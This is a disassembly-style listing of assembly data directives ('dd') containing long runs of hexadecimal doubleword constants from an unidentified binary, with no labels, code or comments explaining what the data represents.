		dd 202935h, 648E637Eh, 56240454h, 799B0B30h, 1FA99CA0h
		dd 6502E4Ch, 0E06304A1h, 0D4EE9703h, 4439230Bh,	4CBA7878h
		dd 0D200353Dh, 777C3E58h, 2B07C742h, 824E8C74h,	0C8205341h
		dd 46F0618Ch, 2A00A239h, 0B1EFBD90h, 941652h, 594CC661h
		dd 0DD690FFDh, 17CA7100h, 4791030Bh, 956D007Fh,	1A356283h
		dd 9B01BE7Dh, 537CDABFh, 6180930Eh, 1A8FCB77h, 0B23C0418h
		dd 0D65E0C6Eh, 7854F9B7h, 0E068535Dh, 1EE28910h, 2E2062AAh
		dd 39F68B43h, 91A1200Fh, 0AD0B5102h, 0A9CC9090h, 678758h
		dd 7111C56h, 3D83AB6h
		dd 0AA17534Eh, 49142BCCh, 82AC3951h, 8ED892EBh,	7AEA8244h
		dd 34B08282h, 8648042Dh, 7F30219Fh, 1E283991h, 0C8BF03F7h
		dd 48FF82Ah, 918ACCC0h,	0C3601C90h, 5D0D7B31h, 26AA712Fh
		dd 16B82E1h, 72A65A21h,	80C03060h, 692A3407h, 708762CCh
		dd 37F311B0h, 43C40FDCh, 3E2021A3h, 83D73999h, 3D18B748h
		dd 8986B053h, 0A054CAAAh, 8892246Ch, 70535EAEh,	40473AA8h
		dd 0D34814EBh, 24406887h, 709F005Bh, 2D1B398Eh,	5900F629h
		dd 5D1DDDE4h, 0FA9D6DBh, 4A30EE1h, 81970050h, 785A46ADh
		dd 124473CFh, 2053E073h, 997E026Ch, 618F7F30h, 28E0C55h
		dd 0EEE284EDh, 6841C7BDh, 89D50CB0h, 0E46840EAh, 1D0F70F5h
		dd 0B61C7C8Bh, 0C4A15700h, 0A298A3C1h, 5E8007F4h, 2044BA04h
		dd 7F7740C3h, 30401CCCh, 0E2515DE9h, 0E30F1D91h, 401B50E6h
		dd 0A67BD688h, 77C602BFh, 6573A9D2h, 53F02049h,	649B9798h
		dd 0E72961A8h, 0AD02E0F8h, 1474190Dh, 0FBE44886h, 5E4B0481h
		dd 39AEDA7h, 0A64D17A1h, 682F44D1h, 0BECA361Fh,	66DA4E01h
		dd 8DCCEE1Ah, 0C7B5003Bh, 3E0B44EDh, 209A24B6h,	2AB8D620h
		dd 0F0D8A43Bh, 0B0890080h, 21C8452Dh, 0E5E2D738h, 0DC668213h
		dd 8BEB602Ch, 91C6D078h, 428C51h, 0E54FB8FAh, 25B301E0h
		dd 3DEBF60Ah, 5F088478h, 8C7B1DC0h, 51C12361h, 90800E48h
		dd 0EFA2C090h, 3DD30Dh,	902C2D1Eh, 604ED2E7h, 0B3647F00h
		dd 0E379FF8Bh, 4BAD00E1h, 0F11D420Bh, 1E00E6D7h, 0CB49737h
		dd 0C2AED2Eh, 4CEFC636h, 5C00D1A9h, 45321A2Dh, 4F8EC27h
		dd 5EADE5B1h, 1314CB64h, 0C00857EBh, 6068A42Fh,	9C4EDA64h
		dd 1E443000h, 0C9C88FC4h, 44B4CF8h, 0C5E8AA22h,	7E9286Eh
		dd 0FC208819h, 62915BE6h, 1422E6A0h, 5602B780h,	4900AB37h
		dd 62A721EFh, 3E7C9793h, 0FB1F5855h, 9E384FFEh,	0CBEE8380h
		dd 0BF4C776Ch, 8D860E2Ch, 14A6BE04h, 7F49BC44h,	55B0C493h
		dd 0AB008034h, 2CD91D25h, 981FD7Ah, 0B8F5EBD5h,	1C0E8100h
		dd 9B02FE2Eh, 0B35D1E17h, 5330619Fh, 0A00B6C33h, 3418C48Eh
		dd 8564760Ah, 0A732F680h, 0E40EC13h, 5635AC1Eh,	0A06DDF02h
		dd 0A08C24E9h, 59E19210h, 0FB5000F8h, 0FDB5210Fh, 7131D44h
		dd 0CC022AF5h, 8011E35Ah, 0EB089844h, 21F0984Dh, 0F43C2B88h
		dd 4034F080h, 7B07E92Dh, 0D8E0B8DEh, 73058A40h,	8E5548F5h
		dd 0AEC8F601h, 910D4638h, 3C3FC0F0h, 3560F0C4h,	59A02E49h
		dd 0E8C7A07Bh, 60250356h, 0FBB8A212h, 0A4D95398h, 4C44D090h
		dd 3F29F463h, 0F48B19CDh, 8A767475h, 97752C2Ah,	7B306B07h
		dd 18408661h, 38938810h, 0FC4C8D20h, 88A8FE29h,	0A1069ACCh
		dd 0F841DF03h, 0B174B1DBh, 11C4F3C0h, 9F129B21h, 0E75D896h
		dd 500BCA4h, 0F0D01030h, 0E83B21EDh, 0C8A1641Ch, 0A2B04F44h
		dd 0A2C9AA19h, 82984384h, 11CC5AF8h, 6471A430h,	0B411DD00h
		dd 0AE638Dh, 60614165h,	23E8939Ch, 55781712h, 0A4AFA808h
		dd 0DAFD80A8h, 0ED10F882h, 0AF51A8C7h, 29A30260h, 6379C32Ch
		dd 0F1008A35h, 1D1BFAC4h, 940C3Bh, 77B496D1h, 3D848C01h
		dd 0D4915A24h, 4AE38A61h, 1B2DC4h, 691567CBh, 0B34E8028h
		dd 0E6049014h, 6130DEB4h, 5CEA1B1Ch, 33C0D06Ch,	52C52B86h
		dd 3B6D8200h, 30314C9Dh, 0B2E6071Dh, 193D0720h,	34985409h
		dd 96179BE5h, 5A00C505h, 0E1FB4855h, 0C8C65373h, 997BD20Ah
		dd 0C56210A8h, 0EC319ADAh, 9464EF3Fh, 0EB183B1Ch, 85110F1Fh
		dd 40E0C5B3h, 7E2AF998h, 5F2EAA2Eh, 0C85A4829h,	44B733F4h
		dd 2D598D48h, 8C27C024h, 0F5798Ah, 0D23ABAC7h, 0C5E7FF4Ah
		dd 73916801h, 40970BA7h, 8C31DC45h, 3AC42BACh, 0BDFF067Fh
		dd 185E4548h, 69070AE8h, 0A770EFC3h, 843263h, 81AE1E08h
		dd 3AB4639Fh, 0CF38AB06h, 1DA99080h, 0C00D8CDEh, 1D1F920Bh
		dd 0F70734A3h, 57808131h, 0C4BF96B2h, 745D5064h, 0D8B08621h
		dd 0E9569F32h, 1228C40Dh, 3112F057h, 0D5E6A030h, 0BF3985C7h
		dd 6C804DDAh, 38A0C32h,	6938DD22h, 0A889FBF1h, 90A040AEh
		dd 80895024h, 20C859B0h, 2894EAF5h, 857F9380h, 23B35h
		dd 0E94C545Bh, 370DA272h, 0F48A2F2Ah, 0CA0BB8C4h, 0D860AA45h
		dd 0E38B84B8h, 7E697CCDh, 507016ADh, 0ACC44E51h, 9800203Fh
		dd 0B8D85572h, 4CEFE53Ah, 3B10E019h, 0B9351BB7h, 4565F829h
		dd 69831201h, 50508A90h, 44862E44h, 11071CCAh, 788DC5FDh
		dd 23F8C1A0h, 1294B950h, 69A48C51h, 20113D42h, 20942057h
		dd 0ACA6C223h, 7EF13100h, 0B1479537h, 0E4A401AEh, 0C29EE722h
		dd 8AF832FDh, 6D000881h, 1DC82E0h, 270401A2h, 58A9D447h
		dd 0B8A2E359h, 2D38D498h, 3C305B81h, 0A034406Bh, 0BADE4812h
		dd 807BF820h, 39194A0Eh, 0D68C0138h, 0C9C832C9h, 10301B12h
		dd 132ADF60h, 40474AF0h, 0EE004815h, 2664D4E8h,	749B28h
		dd 9DD83E24h, 0D224F5A2h, 3900815Eh, 0CC0417E4h, 43300FB4h
		dd 899F49FBh, 4C988BA7h, 1A1B3DEFh, 0E3D9C8AAh,	52A0128Fh
		dd 1C14DCBFh, 0AA28E809h, 2B444049h, 5BEF8898h,	2CC9B300h
		dd 81843EFEh, 85860460h, 0E1C850FDh, 1E382020h,	0A1885818h
		dd 142551h, 0F83784DFh,	17660445h, 5652B20Eh, 0F5BEA015h
		dd 0BFF90D7h, 545EAE19h, 0A852CC1Ah, 2049F025h,	99A75460h
		dd 6E6D0E81h, 196ED13Ch, 815195E5h, 389DFCh, 740FE463h
		dd 0C0F61C1Bh, 98AD4E7Fh, 0A4B361C0h, 20485211h, 81F4C0C4h
		dd 907745A7h, 0A8B49170h, 3A854070h, 0A15B4486h, 88341C59h
		dd 95A78193h, 0E8DDD26Ah, 0DC7BEFCEh, 7F4CD376h, 5831801Ch
		dd 288C36h, 4AE6F47Bh, 0DED035D9h, 0E0FDFF00h, 1F0D7DA8h
		dd 4DD53407h, 98DCD8D0h, 0C0F4BCA0h, 0A4CFA4Dh,	0EC31E859h
		dd 3896FF80h, 0EAD99B02h, 0D3160522h, 323C5EADh, 4C1155ACh
		dd 0F24BFD10h, 54FBC601h, 5E6DDADEh, 195D1DDCh,	39AA9D33h
		dd 18C71485h, 0C68F8B88h, 0C8B92814h, 0B968B300h, 263B4BC5h
		dd 1140FAA0h, 0AA1C0BC0h, 99109AC3h, 40DCD7F0h,	0EC100E93h
		dd 962228h, 7180E5C9h, 0EE7C810Dh, 725051ECh, 602E46ECh
		dd 1D848024h, 0D448A12Dh, 0F80080A6h, 9C5D65FFh, 511403B4h
		dd 1B7EB306h, 0EADE72C9h, 0A0F94C0h, 0C3A7E719h, 3B102598h
		dd 7B809B1Bh, 4B9000F3h, 803A3383h, 1A004DA5h, 34A178D6h
		dd 1893DE7h, 3B0BE0CAh,	0EC668DB8h, 28002967h, 0AE2647CDh
		dd 0CFE45Fh, 6366EE5h, 4EE14BC1h, 0FCCC930Eh, 28F05DA4h
		dd 73196066h, 0D5FB0303h, 864B9323h, 0FCE2AEA0h, 41A6AA3Ah
		dd 51D458F0h, 20F60C24h, 2D734E25h, 80E16131h, 3711D512h
		dd 64498038h, 0CAA0D91Eh, 451B0353h, 1DE163C4h,	0ADA1A3h
		dd 0AB5F37A7h, 793E910Ch, 6F2881C2h, 36274C34h,	0EAAE6980h
		dd 6E1A9FA0h, 932C4406h, 0EA613F4Eh, 0A93D015Bh, 0F1C03AC2h
		dd 47A98362h, 7CE51127h, 2ECA3241h, 9C800619h, 348367E4h
		dd 43004E78h, 0E0EFCD08h, 0DFEA61h, 2202510Bh, 0E5334911h
		dd 389AC6Fh, 0E529813Fh, 67DB4C00h, 0C27F04h, 910A840Ch
		dd 37290639h, 3D28D673h, 0C82240E1h, 0A5313333h, 0EF0B841h
		dd 83005EA2h, 0D3A305A0h, 0AC2886Dh, 0BCC07A4Bh, 31B099D8h
		dd 0AD74F40Eh, 85147774h, 80F8112Ch, 3DA775C7h,	0FE540719h
		dd 351E36ACh, 31A40470h, 6BC5408Fh, 516999h, 2F2CEBDDh
		dd 0F29FA19Dh, 4BAC6D54h, 11F47552h, 7118BBACh,	6535690Fh
		dd 30770FCh, 0F9DEB5C3h
		dd 136D8C6h, 0CB482B9Fh, 2228274Dh, 54E84004h, 2E8FF9C0h
		dd 525F337h, 22D83AC0h,	880A80DEh, 0C701AC01h, 61670995h
		dd 0D6D81378h, 81C0608Bh, 0DFF045BCh, 403A7A1Fh, 44A2DCA8h
		dd 630E6C00h, 500C4EFh,	120AD5ABh, 245D764Ah, 640CB13Dh
		dd 1925225Ch, 8088197Dh, 4071417h, 80081B5h, 2A1DC1DFh
		dd 44A87164h, 871ECEBCh, 8AC77814h, 0C717F02Ah,	0D913D690h
		dd 0A1FF0471h, 25E4CD1h, 40B2207Eh, 0C2ABA283h,	0D55F9341h
		dd 954BB8A2h, 0F6426B60h, 579D3E0Ah, 9B00E199h,	371A2B16h
		dd 0E907000Eh, 2D466956h, 110044A2h, 7C916E27h,	3C08F462h
		dd 0A3020EB5h, 0ED3D948Ch, 4AD9F63h, 8C292770h,	9C5050A8h
		dd 5F14FF8h, 0EF5BE000h, 0E78B76h, 82974C3Ah, 0F8DE85C9h
		dd 122DCD00h, 1F42A6B3h, 55931461h, 0B5140C6Ch,	13892471h
		dd 0E7624C10h, 5B0BDE00h, 0E506EFB1h, 0F2914D5h, 519DC0D1h
		dd 0F8512Ah, 0CF7EDB1Ch, 0FCD71D0Dh, 9408A82Bh,	0C4A6125Fh
		dd 0C18C0437h, 348A00DFh, 292365h, 0B0A933E9h, 0FEF99B5Dh
		dd 3E67300h, 34559106h,	69EB00FFh, 562B7C0Eh, 0D81D188Ch
		dd 47C0EACEh, 50BE7505h, 64940626h, 992DC7E4h, 5FB50604h
		dd 8C9125FEh, 0C02080D6h, 0EBF300DEh, 42293D83h, 2F00F5C9h
		dd 716615BCh, 5C60E4DFh, 69003E9Bh, 4D2AF43h, 6E3E31B3h
		dd 93620023h, 82FF0B42h, 0CC92548Bh, 0E93AB86Ah, 274FDFCh
		dd 0C0F81342h, 0A84486A3h, 3F2A5703h, 1FD3A5Fh,	28A60491h
		dd 0F8E66F1Dh, 0B898E433h, 52869F0Eh, 4A39F871h, 0A02203A6h
		dd 0DD09B39Ch, 0C5D299C0h, 0C00044F4h, 0E2E8764Dh, 558E92h
		dd 0F99F9395h, 9262928h, 0C2531E07h, 0DE807D1Bh, 0E7354CDh
		dd 208D56F6h, 5001C749h, 3078E50Eh, 12F8D6CAh, 0B833F100h
		dd 5AF2D57Eh, 2CBE3855h, 0C908C4C8h, 604ACECh, 62401074h
		dd 97785AD7h, 0A439D200h, 9A37CEFDh, 58B7008Bh,	38A7C0Ah
		dd 0C4A460B5h, 24F46C48h, 0B9155850h, 859224A0h, 8A599A00h
		dd 0B0104Dh, 120735EAh,	0C2B24888h, 0AB24FCEEh,	0A85BC0B5h
		dd 902C6B31h, 4471487Ch, 57510180h, 54009243h, 8023C6B1h
		dd 95839F2h, 0E4D90619h, 0CE2B6802h, 0CF53C221h, 0A769840h
		dd 0C01A5842h, 0C14E6D04h, 60291A4Ah, 500A815Ch, 0E3403Bh
		dd 6C0F76CAh, 821E1304h, 4E303760h, 0E44B35ADh,	7DA0A134h
		dd 98477C64h, 0F2500084h, 0FC228F9Dh, 38B2C6A1h, 652C0E54h
		dd 8B2C9001h, 457121AAh, 0FAEA8180h, 0DB768E5Ch, 44EC35E2h
		dd 14387DF4h, 5BBC8FFh,	469F2E7Fh, 65742FC0h, 22540E77h
		dd 68404ECDh, 14626C6Fh, 0FD1D697Ch, 7ABE78h, 0C5A46598h
		dd 7ADAF99h, 0B6EC4667h, 4CC0DF41h, 17A2C905h, 6B282506h
		dd 30F086h, 0BAD0DC77h,	3AF1E129h, 50513B03h, 0FA8D4Fh
		dd 6FD57321h, 5216C846h, 766A500h, 9AE26945h, 1EF78ADh
		dd 0FB6D8FB7h, 817FDE9Dh, 0D17B1789h, 8DFCE10Ah, 6EF90046h
		dd 0FB82076Bh, 0F8F06A47h, 1BE261C6h, 0CAEF0C9h, 58FE8D3Dh
		dd 2177F011h, 2C7CC61Ch, 52A0E7C1h, 3220A8C3h, 82A338E0h
		dd 57A77702h, 5DC0FB6Ch, 0A938B2B6h, 0A2E4804Fh, 7776ED46h
		dd 6821C35Ah, 791D48FAh, 1228144h, 7428E25Eh, 0E04F2127h
		dd 1C00AEA0h, 0FC48544h, 306D9DD9h, 183171C7h, 0DB003CCAh
		dd 27FC6854h, 3CB8C2F3h, 861453DCh, 18116CE4h, 83527C72h
		dd 8E7D05B8h, 0DB186DBDh, 0DC5CFB51h, 64840029h, 8D4020E8h
		dd 0A9C29A00h, 0F8F32244h, 5807368Eh, 613151C8h, 5D226974h
		dd 7A6B4510h, 90119DEh,	0E3354436h, 0FB250EF0h,	91A06400h
		dd 24D8570Fh, 0E80512E9h, 0DC406FBEh, 3A02C3FCh, 44B0B2h
		dd 0D067B34Eh, 0A62AED18h, 51DD0D00h, 4813F8A8h, 0CFBC0015h
		dd 8F7EB055h, 5003CCF7h, 0EF9D4C84h, 8E512981h,	97EC0EF4h
		dd 0C3C8C640h, 53005013h, 9346923Eh, 7280CFh, 0B296A3BBh
		dd 0A1106004h, 4F478603h, 0A054D7B5h, 0F03D85h,	3166A6B9h
		dd 9F44A549h, 0A806349h, 0BCFCF968h, 6D8E0D40h,	4944246Ah
		dd 5D15043Ch, 0B9008074h, 76092002h, 2829B8h, 651B61A8h
		dd 513E096Fh, 0A410C144h, 0EF002660h, 7EBF81D3h, 405513h
		dd 0AED64291h, 53F275F6h, 375C6B01h, 788617E1h,	8840F448h
		dd 0AB2408DDh, 0FB40A48Fh, 16D800Eh, 0A7025020h, 40693844h
		dd 6235460h, 7E24B37Ch,	7240B017h, 0A89C636Ch, 64E49DE8h
		dd 8017A179h, 24FF4F40h, 37BE7600h, 90BA5056h, 9F5B05Fh
		dd 0B99A4AD8h, 5EACA80Eh, 77405AA9h, 33B64C45h,	90116037h
		dd 54D64678h, 9D4F290Fh, 1E2D60F5h, 0C9B6D961h,	60204360h
		dd 4C0C0D3Bh, 0A1E639C0h, 74A9EE3h, 0E92EFCB1h,	0B611AC39h
		dd 92218890h, 701E08FEh, 0BE48F947h, 900C2428h,	731C2078h
		dd 607C4450h, 56285200h, 0CDED45C9h, 41B1374Dh,	4BE901E8h
		dd 0E0EC209Ah, 0CA994484h, 0D9DD1801h, 0E0C3D4F9h, 0C3B9370h
		dd 46E4A08Dh, 61326CD1h, 90FB319Eh, 0E03E7F88h,	3F4F0BF1h
		dd 7284DAACh, 0BE7CCC65h, 0E3C16B6Fh, 0E33537B1h, 4D6087B4h
		dd 65E7A70h, 83E644DCh,	5D445878h, 0A2740099h, 0FA608B1Ch
		dd 831016F9h, 0C2891F65h, 5810A889h, 7B98E8D4h,	7059AD0Fh
		dd 192F207Ch, 787E54B6h, 30333196h, 408EE611h, 0C74CDD14h
		dd 0D100E891h, 9CB373E5h, 2172240Ch, 0F184189Ch, 0DE00CEBCh
		dd 0FEC5209Eh, 411DA3h,	6205B773h, 91E019Ch, 76B2D901h
		dd 6D6620C2h, 15882034h, 0B8EFFE91h, 0F2620400h, 0E7A0B396h
		dd 8E796763h, 0F82107E6h, 930E597Eh, 7A80BC18h,	860E740Ah
		dd 802C6F46h, 0B3AB3BFBh, 11706090h, 0E2DBC773h, 18641F24h
		dd 1532F744h, 3CE4B410h, 89ACFE53h, 0F86A085Ch,	5C98A049h
		dd 376F6781h, 0B0194E8Eh, 2C827683h, 0AAD48900h, 0ABC1C5FAh
		dd 0CFFF003Eh, 0DDDCF4E4h, 4B098D3Ch, 83C68E47h, 0D313EEA8h
		dd 68C8DC11h, 17F00F5h,	0F239821Ch, 9D64EEA6h, 0F5EEF68h
		dd 9640AC8Ch, 1D8B63E1h, 0EAFE7E00h, 7A65299Eh,	50150C37h
		dd 0FD317D6Bh, 0C1CEEF4h, 5F009DC8h, 42E51BDBh,	58D3E0h
		dd 4D7833A8h, 46048A7Ah, 745376FFh, 20CD1484h, 100B60F2h
		dd 8936033Fh, 0F7D2A9F6h, 64B5FCF0h, 0C530E8F0h, 0FE7C71F9h
		dd 0F039C04Bh, 0DEB419D3h, 9D2C7B74h, 6C41E4E9h, 0A1A47260h
		dd 0AC0E0412h, 645CC040h, 18009198h, 5FCB16B2h,	1415278Bh
		dd 0DC20E2AFh, 0F005BE82h, 0A025DD00h, 427917D1h, 5E0802B4h
		dd 340EF370h, 38B80518h, 0A1C11CF7h, 0A062FE8Bh, 0CA4FB607h
		dd 0DFA4E0F0h, 50A9DC9Dh, 8C01197Ah, 4870BC2Fh,	0ED1F0647h
		dd 49719A4Fh, 0F99FE400h, 0B1634C15h, 0E208C31Eh, 21484E17h
		dd 44887E58h, 9E59C0A0h, 0C5F502D5h, 91547D07h,	3270DF2Bh
		dd 0F6B7AD3Fh, 28826009h, 4463741Bh, 42396763h,	1271906Ah
		dd 72DF6DFh, 0B35A6992h, 0EBEAA0F0h, 3C09E08Fh,	16E5194Bh
		dd 0AD082720h, 2700307Ch, 9F0C2835h, 0DE5D00EBh, 0A7100573h
		dd 0C03047ECh, 0FBEE304Ah, 0EBAD053Ch, 4F4785Eh, 0C8E39DACh
		dd 8C918E54h, 0ADCFDB00h, 0B842535Bh, 0D4A4DDh,	0F02A72C0h
		dd 9792C501h, 6944D80Ah, 4AC0C43Ch, 78E7F1B4h, 0FB05182Ah
		dd 0FF4E1963h, 337A25Ch, 0DC2D07F0h, 200ED1D4h,	243C4BF0h
		dd 403CC3E6h, 82937B51h, 903DE80h, 0A645AB1Ch, 80BEEC31h
		dd 6F536509h, 480216FAh, 587895DEh, 723AE60Fh, 0E354F601h
		dd 60A71ADAh, 0BCA89BA8h
		dd 2800F5FAh, 0D16340DFh, 5CEA39CFh, 6F004C2Ah,	528F7D3Bh
		dd 9A48E105h, 34790820h, 47458270h, 6C80FEAFh, 15209B3Ah
		dd 0F69E900h, 146E238Bh, 6B4826F0h, 9D7131C2h, 805845DBh
		dd 0D6091750h, 0AE1FE898h, 41BD78E1h, 298167C5h, 42C0152Ah
		dd 0DDDBC089h, 1C9401F8h, 0B2F381BBh, 80A5D702h, 2895C8h
		dd 3316A793h, 74C3856Bh, 20CE6094h, 0D360153Ch,	0DF730078h
		dd 382A1EC2h, 720E90E2h, 26517CDh, 52553B77h, 2CFC0084h
		dd 1C05F875h, 921F6453h, 43C73D7h, 3AE51E27h, 6C6F2081h
		dd 74122661h, 61542A74h, 60FA4DF8h, 0C500D0F7h,	11913026h
		dd 1ED7FAAh, 0E0FECC80h, 2DE207BDh, 2941000Ch, 0E67F059Bh
		dd 896F122Eh, 7CEA0273h, 186003D1h, 44986BDEh, 0C06022EDh
		dd 703EE1A9h, 86557287h, 0FC917300h, 7442FF8Ah,	0C8DA004Ch
		dd 9208B66Bh, 0BC00B945h, 1C0B7E40h, 1FDE1A9Ch,	5D2A78F8h
		dd 6DC20004h, 0B5494192h, 0F1739430h, 99DFA13Bh, 6B068004h
		dd 0B6CEA82Dh, 5D7E190Eh, 0C75C8757h, 10094870h, 3E780006h
		dd 0C424E5D9h, 0B900429Eh, 0A72B282Ah, 6E3B96h,	0C733E313h
		dd 18F97B03h, 0F6593A00h, 16B55C60h, 0EFD839B3h, 556E6800h
		dd 478E45B0h, 95BEE1C0h, 3D94392Ah, 741EA06Bh, 7198AABFh
		dd 3AB90065h, 9DD7CBABh, 0DB0B89F8h, 3CEEC3h, 25CFBA8Ch
		dd 3930B8AEh, 2419376h,	0E5117AB0h, 0C41CB210h,	0F301A2E0h
		dd 9DDDC901h, 698106E7h, 0EA30BA3Eh, 6653FC87h,	139B9212h
		dd 0FBD01C04h, 13714C8h, 8ADB7032h, 60534475h, 608AEFE0h
		dd 12A54621h, 26451A3Ah, 0A4F039C4h, 487B9329h,	9BEEAC07h
		dd 0D3A03F87h, 47ADC6Eh, 74D83D25h, 0E64C9255h,	76A034C4h
		dd 0A5484F4Ah, 6C8C0828h, 479BC4FDh, 798C5817h,	0D41007E6h
		dd 0E0B474E9h, 60BEC818h, 128B8102h, 5122E2B1h,	0F0200050h
		dd 636B1F78h, 0F8AD7444h, 4FC7163Bh, 783C0084h,	872430E6h
		dd 54212001h, 8EF3B876h, 439485FEh, 1C891088h, 0C3DA6A03h
		dd 71F90D1Bh, 3A6E70FFh, 10EFC44h, 0A69F8961h, 3CC9BE78h
		dd 0D3808865h, 8E80B06Bh, 601D7EC2h, 49956266h,	89060098h
		dd 0D5AC927h, 797A001Ah, 5B4B91B1h, 6102F217h, 97496EA9h
		dd 0CE30E1DCh, 7C6C02DAh, 50067C44h, 961F92E0h,	0C49F44B1h
		dd 8DCBEA00h, 0C5C313Dh, 0ACA84BFBh, 636401D9h,	87C71E0Eh
		dd 318597FDh, 4004A6F3h, 3CF484CCh, 5204A10Dh, 0E1079D0Ah
		dd 1B00A4A3h, 69E783EEh, 37005364h, 99877B7Dh, 250A5114h
		dd 0BC04748Dh, 0E9E1436Dh, 0FF4C80A8h, 86700395h, 8944C97Bh
		dd 0ED22BE02h, 82B2165Dh, 82468640h, 0E95C154Ch, 46D27400h
		dd 0ECBD00F0h, 61D3A298h, 601C7F6h, 6B021B5Ch, 889E056Ah
		dd 6813E049h, 0D8254B85h, 36C07C34h, 0DCB511h, 0A5F4D5F3h
		dd 0E51FDB28h, 6A219A16h, 9DE2F008h, 2539C084h,	89C2BA37h
		dd 50994500h, 0DDA06212h, 3080743Ch, 0A2C106E6h, 98911FFCh
		dd 0C2F81027h, 1A2F07CCh, 0B0313FF5h, 716CFE70h, 8CDDDE03h
		dd 0F9CF1F6Eh, 0E8484ADFh, 0C4F405D0h, 8819E12Ah, 0D203E548h
		dd 62DC5371h, 628DE2Fh,	8EEB6454h, 0BD00B14Dh, 47E10810h
		dd 873B18h, 136F6707h, 0D2419FB9h, 0F92D6679h, 4B0C00C8h
		dd 0A1DBA027h, 7BC18F60h, 7554B03Fh, 0B7A80D00h, 0C5662EEFh
		dd 32C03FB2h, 396DFCDAh, 851E80BAh, 46979852h, 7A37295h
		dd 66FB3CB2h, 9CDD40DAh, 0D60F6307h, 7544B0ACh,	0F88F00E0h
		dd 0CD98A86Ch, 0EA997348h, 925D0371h, 49F60CBCh, 0FBF738F0h
		dd 0D800BB4Eh, 8886ABCBh, 0F19000B4h, 310C8DF2h, 7B0705FBh
		dd 7C425EE8h, 0D0231CB3h, 2093Ah, 753EF8CDh, 0AD734925h
		dd 8CE7CB0Fh, 0A0B222CFh, 5378A0E8h, 4892F274h,	3E3DB005h
		dd 697C1F24h, 7835DC10h, 760B81EAh, 90EBC154h, 228624h
		dd 0C4027C0h, 2A87A396h, 5E1E08A0h, 0D0DDB102h,	0A0E1FA6Ah
		dd 484AC7D0h, 0A868F159h, 90B3AD81h, 0C3905774h, 40B08A4Ah
		dd 3C278785h, 297C3897h, 7BF00019h, 8CEBDED3h, 63533B59h
		dd 0BE2EECh, 0EE676440h, 90452E3Ah, 91F80F77h, 89356EE0h
		dd 0EF0BD5A8h, 186303C0h, 7D391F60h, 5664000Dh,	1A4350FCh
		dd 511F8FE7h, 0E0E6F2A0h, 0EFFECA40h, 53F9002Ch, 32307DE6h
		dd 0E17E5B8Dh, 0C2B01554h, 974A43FEh, 93102009h, 805C1D0h
		dd 1422A021h, 1CE11709h, 0FA223CE4h, 221098EFh,	7B13DFB5h
		dd 6CD00D19h, 0B13D66h,	55A7C253h, 0ED56F51Eh, 5F22949Ah
		dd 0B1F1F0A0h, 64293E3Ch, 6FFB05B4h, 0B0BC8029h, 0BEF83DC7h
		dd 3B916A60h, 0B4A8E0h,	3EA41334h, 99767E64h, 58C85D01h
		dd 71D19B51h, 544C1C23h, 0B9009A22h, 415C37CDh,	4D7DE19h
		dd 134AE453h, 0FBD8836Ah, 62009048h, 11846091h,	52D9805Eh
		dd 3623DC0Bh, 4C271449h, 0F300E339h, 0BA6A6179h, 781A6CFBh
		dd 46386FF1h, 94B006Ch,	0AC45CE88h, 0EE48A626h,	0B068F60h
		dd 7C00021Ch, 91287258h, 165680ECh, 0C9644003h,	0F84F900h
		dd 0B810955Fh, 0DC0E530Ch, 2451AD15h, 55D7AEC0h, 8C6B086h
		dd 195FFEh, 0F0FF0DD1h,	56B7B245h, 0CF585700h, 6E2848B1h
		dd 531307DEh, 80AAD202h, 61C2F359h, 9E4C783Eh, 8B16199Bh
		dd 433E0C20h, 0B97888C4h, 217E6D27h, 0A79F1E28h, 90DC5630h
		dd 0F21C8434h, 50174BE2h, 0A7C0F014h, 0EBC38A9Bh, 25877103h
		dd 0A03243ADh, 2E4EEE23h, 17ACFC17h, 0A5BC20C3h, 91026864h
		dd 0A01B584Ah, 0E4E0E0A6h, 8F60916Eh, 9381B30Dh, 30A79BABh
		dd 872CC900h, 0C064B43Bh, 0ED03E432h, 0A449A0FBh, 48630266h
		dd 567B8EF7h, 6873FCE0h, 80B08325h, 0ECC45160h,	0C8AC00D0h
		dd 7146C67Eh, 9B1D98E6h, 7C80F5CAh, 725257F9h, 0C40F87Ah
		dd 0A9DFDD29h, 5B00BA18h, 2FE13051h, 9E64EB5h, 5FB8D44Ah
		dd 8488C0Ah, 619CFDDEh,	5611A1h, 1F83A18h, 7EFC7Fh, 0EE42BBAAh
		dd 0FD3E4C35h, 22C5860Eh, 0ACCD4243h, 17A0C05Ch, 0CCB0293h
		dd 0DB9DF6F2h, 6042C046h, 29B85303h, 35819DD0h,	0B87258h
		dd 0FEC05404h, 2675DCh,	2C97E4D0h, 0A7D99278h, 35EEE27Fh
		dd 194C8400h, 0D58D7DA5h, 0C179746Ch, 0FE1F4741h, 0FA03DF6h
		dd 83643555h, 0C7C4663Dh, 110B085Ah, 0B54C19A6h, 0B02CCCh
		dd 82A0A5D4h, 0D9FCA4Bh, 0DD895100h, 8548E457h,	0B980022h
		dd 8DF30A99h, 5317DC82h, 6C80C9BEh, 0D4C7D3Eh, 515F6B1Fh
		dd 1C6C59h, 0C4FBF32Bh,	76BF24DCh, 8C440004h, 0F6A650CCh
		dd 60051883h, 73656B10h, 961E6413h, 0A8919801h,	44CAD464h
		dd 711263E8h, 202E7A77h, 786090DCh, 3BAE9204h, 0D5803264h
		dd 12F2F6B3h, 0C07C641h, 5BDB546Ah, 66D8FB22h, 0E2E344B8h
		dd 88271B5Fh, 87524008h, 0FC93B091h, 4362B905h,	1F89CCB4h
		dd 0C1D018B6h, 78F6199Dh, 7B462BEh, 61DBE31Bh, 4CC7F995h
		dd 28814315h, 910FDA7h,	0B500104Bh, 0A50C53DDh,	27398F7Eh
		dd 0A24DF2h, 0FB04693Ah, 8D003CA9h, 6ED06609h, 1100FAAEh
		dd 0BA9BB8BDh, 1FB6D260h, 84EB96BFh, 73C8D9h, 7679FF4Fh
		dd 0DB3400DCh, 6E18964Dh, 0A82C485Bh, 0DE662C0Bh, 0E0ABFECCh
		dd 7DAE71E2h, 685F2D01h, 0FC21F880h, 0D30770B9h, 0BA467CD1h
		dd 7DD692F0h, 3EB60087h, 9FB703B1h, 555CBC8Ah, 0DC4218h
		dd 0E7A247DAh, 0F02804DDh, 22E30081h, 0BC54B01Ah, 0B709A445h
		dd 0E88E7B1Bh, 7DFFBA34h, 81F81Dh, 762B8DE5h, 0A6273E0Ah
		dd 1CB03D52h
		dd 0AC8264DEh, 0E424E2DFh, 8FB9022Ch, 3DBA4C2Dh, 8A6BCCC1h
		dd 0BC82BE19h, 7D91B080h, 1704E22h, 61A2C97Fh, 4966E79Dh
